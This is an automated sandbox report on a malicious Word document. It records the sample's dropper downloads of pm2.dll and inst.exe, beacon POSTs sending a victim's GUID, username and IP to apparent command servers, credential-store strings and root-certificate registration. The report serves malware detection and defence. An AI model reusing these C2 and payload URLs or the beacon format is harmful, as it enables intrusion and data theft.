Analysis Report

Overview

General Information

Joe Sandbox Version:	17.0.0
Analysis ID:	204166
Start time:	14:53:38
Joe Sandbox Product:	Cloud
Start date:	11.01.2017
Overall analysis duration:	0h 18m 20s
Report type:	full
Sample file name:	ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a (renamed file extension from none to doc)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 (Office 2003 SP1, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 44, Firefox 36)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	27
Technologies	HCA enabled EGA enabled VBA Instrumentation enabled
Detection:	MAL
Classification:	mal100.evad.expl.rans.phis.spyw.bank.troj.winDOC@9/17@21/5
HCA Information:	Successful, ratio: 100% Number of executed functions: 198 Number of non-executed functions: 531
EGA Information:	Successful, ratio: 87.5%
Cookbook Comments:	Found Word or Excel document Simulate clicks
Warnings:	Show All Max analysis timeout: 600s exceeded, the analysis took too long Exclude process from analysis (whitelisted): conhost.exe, dllhost.exe Execution Graph export aborted for target WmiPrvSE.exe, PID 3520 because there are no executed function Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtSetInformationFile calls found.

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	100	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Sample HTTP request are all non existing, likely the sample is no longer working

Sample drops PE files which have not been started, submit dropped PE samples for a secondary analysis to Joe Sandbox

Sample has a GUI, but Joe Sandbox has not found any clickable buttons, likely requires more UI automation

Sample may offer command line options, please run it with the 'Execute binary with arguments' cookbook (it's possible that the command line switches require additional characters like: "-", "/", "--"

Sample monitors Window changes (e.g. starting applications), analyze the sample with the 'Simulates keyboard and window changes' cookbook

Sample sleeps for a long time, analyze it with the 'Bypass long sleeps' cookbook

Signature Overview

Click to jump to signature section

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_0315BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	0_2_0315BA85
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_03154086 InternetCloseHandle,CryptDecodeObject,InternetCloseHandle,CertGetCertificateContextProperty,	0_2_03154086
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_0315BA60 CryptAcquireContextA,	0_2_0315BA60
Source: C:\Windows\explorer.exe	Code function: 1_2_003EBA60 CryptAcquireContextA,	1_2_003EBA60
Source: C:\Windows\explorer.exe	Code function: 1_2_003EBA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	1_2_003EBA85
Source: C:\Windows\explorer.exe	Code function: 1_2_003E4086 InternetCloseHandle,CryptDecodeObject,InternetCloseHandle,CertGetCertificateContextProperty,	1_2_003E4086
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_0124BA60 CryptAcquireContextA,	3_2_0124BA60
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_0124BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	3_2_0124BA85
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_01244086 InternetCloseHandle,CryptDecodeObject,InternetCloseHandle,CertGetCertificateContextProperty,	3_2_01244086
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_01274086 InternetCloseHandle,CryptDecodeObject,InternetCloseHandle,CertGetCertificateContextProperty,	5_2_01274086
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_0127BA60 CryptAcquireContextA,	5_2_0127BA60
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_0127BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	5_2_0127BA85
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_00384086 InternetCloseHandle,CryptDecodeObject,InternetCloseHandle,CertGetCertificateContextProperty,	10_2_00384086
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_0038BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	10_2_0038BA85
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_0038BA60 CryptAcquireContextA,	10_2_0038BA60
Source: C:\Windows\explorer.exe	Code function: 11_2_00D44086 InternetCloseHandle,CryptDecodeObject,InternetCloseHandle,CertGetCertificateContextProperty,	11_2_00D44086
Source: C:\Windows\explorer.exe	Code function: 11_2_00D4BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	11_2_00D4BA85
Source: C:\Windows\explorer.exe	Code function: 11_2_00D4BA60 CryptAcquireContextA,	11_2_00D4BA60
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_0010BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	13_2_0010BA85
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_00104086 InternetCloseHandle,CryptDecodeObject,InternetCloseHandle,CertGetCertificateContextProperty,	13_2_00104086
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_0010BA60 CryptAcquireContextA,	13_2_0010BA60

Spam, unwanted Advertisements and Ransom Demands:

Contains functionality to import cryptographic keys (often used in ransomware)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_0315BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	0_2_0315BA85
Source: C:\Windows\explorer.exe	Code function: 1_2_003EBA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	1_2_003EBA85
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_0124BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	3_2_0124BA85
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_0127BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	5_2_0127BA85
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_0038BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	10_2_0038BA85
Source: C:\Windows\explorer.exe	Code function: 11_2_00D4BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	11_2_00D4BA85
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_0010BA85 CryptCreateHash,CryptHashData,CryptImportKey,CryptVerifySignatureA,CryptDestroyKey,CryptDestroyHash,	13_2_0010BA85

E-Banking Fraud:

Registers a new ROOT certificate

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_0315289B PFXImportCertStore,CertOpenStore,CertEnumCertificatesInStore,CertAddCertificateContextToStore,CertFreeCertificateContext,CertCloseStore,CertCloseStore,

0_2_0315289B

Software Vulnerabilities:

Potential document exploit detected (performs DNS queries)

Show sources

Source: global traffic

DNS query: name: api.ipify.org

Potential document exploit detected (performs HTTP gets)

Show sources

Source: global traffic

TCP traffic: 192.168.1.80:49310 -> 54.243.89.142:80

Potential document exploit detected (unknown TCP traffic)

Show sources

Source: global traffic

TCP traffic: 192.168.1.80:49310 -> 54.243.89.142:80

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Process created: C:\Windows\explorer.exe

Networking:

Urls found in memory or binary data

Show sources

Source: WINWORD.EXE	String found in binary or memory: file://
Source: WINWORD.EXE	String found in binary or memory: file:///
Source: WINWORD.EXE	String found in binary or memory: file:///c:
Source: explorer.exe	String found in binary or memory: file:///c:/
Source: explorer.exe	String found in binary or memory: file:///c:/jbxinitvm.au3
Source: explorer.exe	String found in binary or memory: file:///c:/jbxinitvm.au3ay
Source: explorer.exe	String found in binary or memory: file:///c:/jbxinitvm.au3s
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/adobe/reader%2011.0/reader/acrord32.exe
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/common%20files/adobe/arm/1.0/adobearm.exe
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/common%20files/adobe/arm/1.0/adobearm.exe-
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/common%20files/adobe/arm/1.0/adobearm.exew
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/google/chrome/application/44.0.2403.125/installer/chrmstp.exe
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/google/chrome/application/chrome.exe
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/google/chrome/application/chrome.exe:
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/internet%20explorer/iexplore.exe
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/internet%20explorer/iexplore.exedl
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/microsoft%20office/office11/winword.exe
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/microsoft%20office/office11/winword.exe&
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/mozilla%20firefox/firefox.exe
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/mozilla%20firefox/firefox.exet
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/windows%20mail/winmail.exe
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/windows%20mail/winmail.exenu
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/windows%20mail/winmail.exepe
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/windows%20sidebar/sidebar.exe
Source: explorer.exe	String found in binary or memory: file:///c:/program%20files/windows%20sidebar/sidebar.exea
Source: explorer.exe	String found in binary or memory: file:///c:/users/mattbrown/appdata/roaming/microsoft/internet%20explorer/quick%20launch/user%20pinne
Source: explorer.exe	String found in binary or memory: file:///c:/users/public/desktop/adobe%20reader%20xi.lnk
Source: explorer.exe	String found in binary or memory: file:///c:/users/public/desktop/adobe%20reader%20xi.lnks
Source: explorer.exe	String found in binary or memory: file:///c:/users/public/desktop/adobe%20reader%20xi.lnkv
Source: explorer.exe	String found in binary or memory: file:///c:/users/public/desktop/google%20chrome.lnk
Source: explorer.exe	String found in binary or memory: file:///c:/users/public/desktop/google%20chrome.lnkg
Source: explorer.exe	String found in binary or memory: file:///c:/users/public/desktop/mozilla%20firefox.lnk;
Source: explorer.exe	String found in binary or memory: file:///c:/users/public/desktop/mozilla%20firefox.lnks
Source: explorer.exe	String found in binary or memory: file:///c:/windows/explorer.exe
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/ie4uinit.exe
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/ie4uinit.exeh
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/ie4uinit.exet
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/mctadmin.exe
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/regsvr32.exe
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/rundll32.exe
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/rundll32.exel
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/rundll32.exell
Source: spoolsv.exe	String found in binary or memory: file:///c:/windows/system32/tcpbidi.xmlh1
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/unregmp2.exe
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/unregmp2.exeef
Source: explorer.exe	String found in binary or memory: file:///c:/windows/system32/unregmp2.exeyf
Source: WINWORD.EXE	String found in binary or memory: file://page
Source: WINWORD.EXE	String found in binary or memory: file://unicows.dll???.???ly27ry27
Source: explorer.exe	String found in binary or memory: ftp://
Source: explorer.exe	String found in binary or memory: ftp://http://https://ftp.fireftpsites.datmozilla
Source: explorer.exe	String found in binary or memory: ftp://http://https://moz_loginshostnameencryptedpasswordencryptedusername
Source: explorer.exe	String found in binary or memory: ftp://sspipfcb
Source: explorer.exe, conhost.exe	String found in binary or memory: http://
Source: WINWORD.EXE	String found in binary or memory: http://%s/r/rlidstmapurl?clid=%d&#http://%s/r/rlidstdriveurl?clid=%d&
Source: WINWORD.EXE	String found in binary or memory: http://)file
Source: WINWORD.EXE	String found in binary or memory: http://)web
Source: WINWORD.EXE, explorer.exe	String found in binary or memory: http://api.ipify.org
Source: WINWORD.EXE, explorer.exe	String found in binary or memory: http://api.ipify.org0.0.0.0guid=%i64u&build=%s&info=%s&ip=%s&type=1&win=%d.%d(x64)guid=%i64u&build=%
Source: explorer.exe	String found in binary or memory: http://autocomplete.search.aol.com/autocomplete/get?output=json&it=&q=
Source: lsass.exe	String found in binary or memory: http://cd
Source: lsass.exe	String found in binary or memory: http://cdp1.public-
Source: lsass.exe	String found in binary or memory: http://crl.atgtos
Source: lsass.exe	String found in binary or memory: http://crl.comodo.net/utn-userfirst-hardware.crl0q
Source: lsass.exe	String found in binary or memory: http://crl.comodoca.com/utn-userfirst-hardware.crl06
Source: lsass.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: lsass.exe	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: lsass.exe	String found in binary or memory: http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0
Source: lsass.exe	String found in binary or memory: http://crl.pkioverheid.nl/domovlatestcrl.crl0
Source: lsass.exe	String found in binary or memory: http://crt.comodoca.com/utnaddtrustserverca.crt0$
Source: lsass.exe	String found in binary or memory: http://cyber
Source: lsass.exe	String found in binary or memory: http://cybertr
Source: lsass.exe	String found in binary or memory: http://cybertr0
Source: lsass.exe	String found in binary or memory: http://cybertrust.omniroot.com/repository.cfm0
Source: WINWORD.EXE	String found in binary or memory: http://ftp://mailto:gopher://
Source: explorer.exe	String found in binary or memory: http://go.micr
Source: explorer.exe	String found in binary or memory: http://https://aeioucdfghlmnrstwbcdfghjklmnpqrstvwxyzabcdefghijklmnopiexplore.exefirefox.exeexplorer
Source: explorer.exe	String found in binary or memory: http://https://ftp://operawand.dat_software
Source: explorer.exe	String found in binary or memory: http://java.com/
Source: explorer.exe	String found in binary or memory: http://java.com/ess
Source: explorer.exe	String found in binary or memory: http://java.com/help
Source: explorer.exe	String found in binary or memory: http://java.com/helphttp://java.com/help
Source: explorer.exe	String found in binary or memory: http://java.com/helpj1
Source: explorer.exe	String found in binary or memory: http://java.com/helpprogr
Source: explorer.exe	String found in binary or memory: http://java.com/http://java.com/
Source: explorer.exe	String found in binary or memory: http://leftwasssitne.ru/borjomi/gate.php
Source: WINWORD.EXE, explorer.exe	String found in binary or memory: http://leftwasssitne.ru/ls5/forum.php
Source: WINWORD.EXE, explorer.exe	String found in binary or memory: http://leftwasssitne.ru/ls5/forum.phpcontent-type:
Source: WINWORD.EXE	String found in binary or memory: http://moneycentral.msn.com/investor/external/excel/quotes.asp?symbol=5cannot
Source: WINWORD.EXE	String found in binary or memory: http://myserver/public/.
Source: WINWORD.EXE	String found in binary or memory: http://myserver/public/.cannot
Source: lsass.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: lsass.exe	String found in binary or memory: http://ocsp.comodoca.com0%
Source: lsass.exe	String found in binary or memory: http://ocsp.comodoca.com0-
Source: lsass.exe	String found in binary or memory: http://ocsp.comodoca.com0/
Source: lsass.exe	String found in binary or memory: http://ocsp.comodoca.com05
Source: lsass.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: lsass.exe	String found in binary or memory: http://ocsp.entrust.net0d
Source: lsass.exe	String found in binary or memory: http://ocsp.msocsp.com0=
Source: lsass.exe	String found in binary or memory: http://ocsp.omniroot.com/baltimoreroot0
Source: lsass.exe	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: lsass.exe	String found in binary or memory: http://s2.symcb.com0
Source: explorer.exe	String found in binary or memory: http://search.aol.com/favicon.icohttp://search.aol.com/aol/search?q=
Source: explorer.exe	String found in binary or memory: http://solohaly.ru/borjomi/gate.php
Source: explorer.exe	String found in binary or memory: http://solohaly.ru/ls5/forum.php
Source: explorer.exe	String found in binary or memory: http://solohaly.ru/ls5/forum.php0
Source: explorer.exe	String found in binary or memory: http://solohaly.ru/ls5/forum.phpphpection:
Source: explorer.exe	String found in binary or memory: http://sp.ask.com/sh/i/a16/favicon/favicon.icohttp://www.ask.com/web?q=
Source: lsass.exe	String found in binary or memory: http://sr.symcb.com/sr.crl0w
Source: lsass.exe	String found in binary or memory: http://sr.symcb.com/sr.crt0
Source: lsass.exe	String found in binary or memory: http://sr.symcd.com0&
Source: explorer.exe	String found in binary or memory: http://ss.ask.com/query?q=
Source: explorer.exe	String found in binary or memory: http://tinhorecrin.com/borjomi/gate.php
Source: explorer.exe	String found in binary or memory: http://tinhorecrin.com/borjomi/gate.phphttp://solohaly.ru/borjomi/gate.phphttp://leftwasssitne.ru/bo
Source: explorer.exe	String found in binary or memory: http://tinhorecrin.com/ls5/forum.php
Source: lsass.exe	String found in binary or memory: http://www
Source: lsass.exe	String found in binary or memory: http://www.
Source: explorer.exe	String found in binary or memory: http://www.%s.compa
Source: lsass.exe	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: lsass.exe	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: explorer.exe	String found in binary or memory: http://www.facebook.com/
Source: explorer.exe	String found in binary or memory: http://www.google.com/favicon.ico
Source: explorer.exe	String found in binary or memory: http://www.ibsensoftware.com/
Source: explorer.exe	String found in binary or memory: http://www.msn.com/?ocid=iehpmat
Source: WINWORD.EXE	String found in binary or memory: http://www.officenet.net/
Source: lsass.exe	String found in binary or memory: http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0
Source: lsass.exe	String found in binary or memory: http://www.public-trust.com/cps/omniroot.html0
Source: lsass.exe	String found in binary or memory: http://www.symauth.c
Source: lsass.exe	String found in binary or memory: http://www.symauth.com/rpa00
Source: lsass.exe	String found in binary or memory: http://www.usertrust.com1
Source: explorer.exe, conhost.exe	String found in binary or memory: https://
Source: lsass.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: lsass.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: explorer.exe	String found in binary or memory: https://en.wikipedia.org/wiki/xslt/muenchian_grouping
Source: explorer.exe	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search?ei=
Source: explorer.exe	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: lsass.exe	String found in binary or memory: https://secure.comodo.com/cps0
Source: explorer.exe	String found in binary or memory: https://www.bing.com/chrome/newtab
Source: explorer.exe	String found in binary or memory: https://www.bing.com/osjson.aspx?query=
Source: explorer.exe	String found in binary or memory: https://www.bing.com/s/a/bing_p.icohttps://www.bing.com/search?q=

Contains functionality to download additional files from the internet

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_03154256 InternetCloseHandle,HttpQueryInfoA,InternetQueryDataAvailable,InternetReadFile,InternetQueryDataAvailable,

0_2_03154256

Downloads files from webservers via HTTP

Show sources

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: api.ipify.org Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /wp-includes/pm2.dll HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: www.mi4nd.com Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/redoable/pm2.dll HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: www.worstofbreed.net Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/redoable/inst.exe HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: www.worstofbreed.net Cache-Control: no-cache

Found strings which match to known social media urls

Show sources

Source: explorer.exe	String found in binary or memory: ?%02XSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms\FormDatahttp://www.facebook.com/ equals www.facebook.com (Facebook)
Source: explorer.exe	String found in binary or memory: Yahoo!yahoo.comhttps://search.yahoo.com/favicon.icohttps://search.yahoo.com/search?ei={inputEncoding}&fr=crmas&p={searchTerms}UTF-8https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command={searchTerms} equals www.yahoo.com (Yahoo)
Source: explorer.exe	String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: lsass.exe	String found in binary or memory: login.yahoo.com equals www.yahoo.com (Yahoo)
Source: lsass.exe	String found in binary or memory: login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: lsass.exe	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Posts data to webserver

Show sources

Source: unknown

HTTP traffic detected: POST /ls5/forum.php HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: solohaly.ru Content-Length: 107 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 35 39 34 33 31 35 31 32 37 39 36 33 30 39 31 31 36 37 32 26 42 55 49 4c 44 3d 30 39 30 31 62 26 49 4e 46 4f 3d 34 30 35 34 36 34 20 40 20 61 64 6d 69 6e 2d 50 43 5c 6d 61 74 74 62 72 6f 77 6e 26 49 50 3d 31 36 33 2e 31 37 32 2e 36 37 2e 31 38 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 33 32 29 Data Ascii: GUID=5943151279630911672&BUILD=0901b&INFO=405464 @ admin-PC\mattbrown&IP=163.172.67.180&TYPE=1&WIN=6.1(x32)

Tries to download non-existing http data (HTTP/1.1 404 Not Found)

Show sources

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Found Date: Wed, 11 Jan 2017 13:54:32 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 X-Pingback: http://www.mi4nd.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 64 62 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 20 70 72 6f 66 69 6c 65 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31

Downloads executable code via HTTP

Show sources

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OK Date: Wed, 11 Jan 2017 13:54:33 GMT Server: Apache/2.2.16 (Debian) Last-Modified: Tue, 10 Jan 2017 12:57:58 GMT ETag: "602e05-11800-545bd088e7e64" Accept-Ranges: bytes Content-Length: 71680 Content-Type: application/x-msdos-program X-Pad: avoid browser bug Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 02 5f 73 58 00 00 00 00 00 00 00 00 e0 00 0e 21 0b 01 02 32 00 ce 00 00 00 4c 00 00 00 00 00 00 9e b8 00 00 00 10 00 00 00 e0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 96 60 01 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OK Date: Wed, 11 Jan 2017 13:55:54 GMT Server: Apache/2.2.16 (Debian) Last-Modified: Tue, 10 Jan 2017 16:11:39 GMT ETag: "602e06-5f000-545bfbd353860" Accept-Ranges: bytes Content-Length: 389120 Content-Type: application/x-msdos-program X-Pad: avoid browser bug Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 42 2a 33 58 23 44 60 58 23 44 60 58 23 44 60 7f e5 2a 60 78 23 44 60 7f e5 39 60 43 23 44 60 7f e5 29 60 d8 23 44 60 51 5b d7 60 53 23 44 60 58 23 45 60 26 23 44 60 46 71 c0 60 59 23 44 60 46 71 d0 60 59 23 44 60 46 71 d5 60 59 23 44 60 52 69 63 68 58 23 44 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 37 06 75 58 00 00 00

Uses a known web browser user agent for HTTP communication

Show sources

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: api.ipify.org Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /ls5/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: solohaly.ru Content-Length: 107 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 35 39 34 33 31 35 31 32 37 39 36 33 30 39 31 31 36 37 32 26 42 55 49 4c 44 3d 30 39 30 31 62 26 49 4e 46 4f 3d 34 30 35 34 36 34 20 40 20 61 64 6d 69 6e 2d 50 43 5c 6d 61 74 74 62 72 6f 77 6e 26 49 50 3d 31 36 33 2e 31 37 32 2e 36 37 2e 31 38 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 33 32 29 Data Ascii: GUID=5943151279630911672&BUILD=0901b&INFO=405464 @ admin-PC\mattbrown&IP=163.172.67.180&TYPE=1&WIN=6.1(x32)
Source: global traffic	HTTP traffic detected: GET /wp-includes/pm2.dll HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: www.mi4nd.com Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/redoable/pm2.dll HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: www.worstofbreed.net Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /borjomi/gate.php HTTP/1.0 Host: solohaly.ru Accept: / Accept-Encoding: identity, *;q=0 Accept-Language: en-US Content-Length: 206 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/redoable/inst.exe HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: www.worstofbreed.net Cache-Control: no-cache
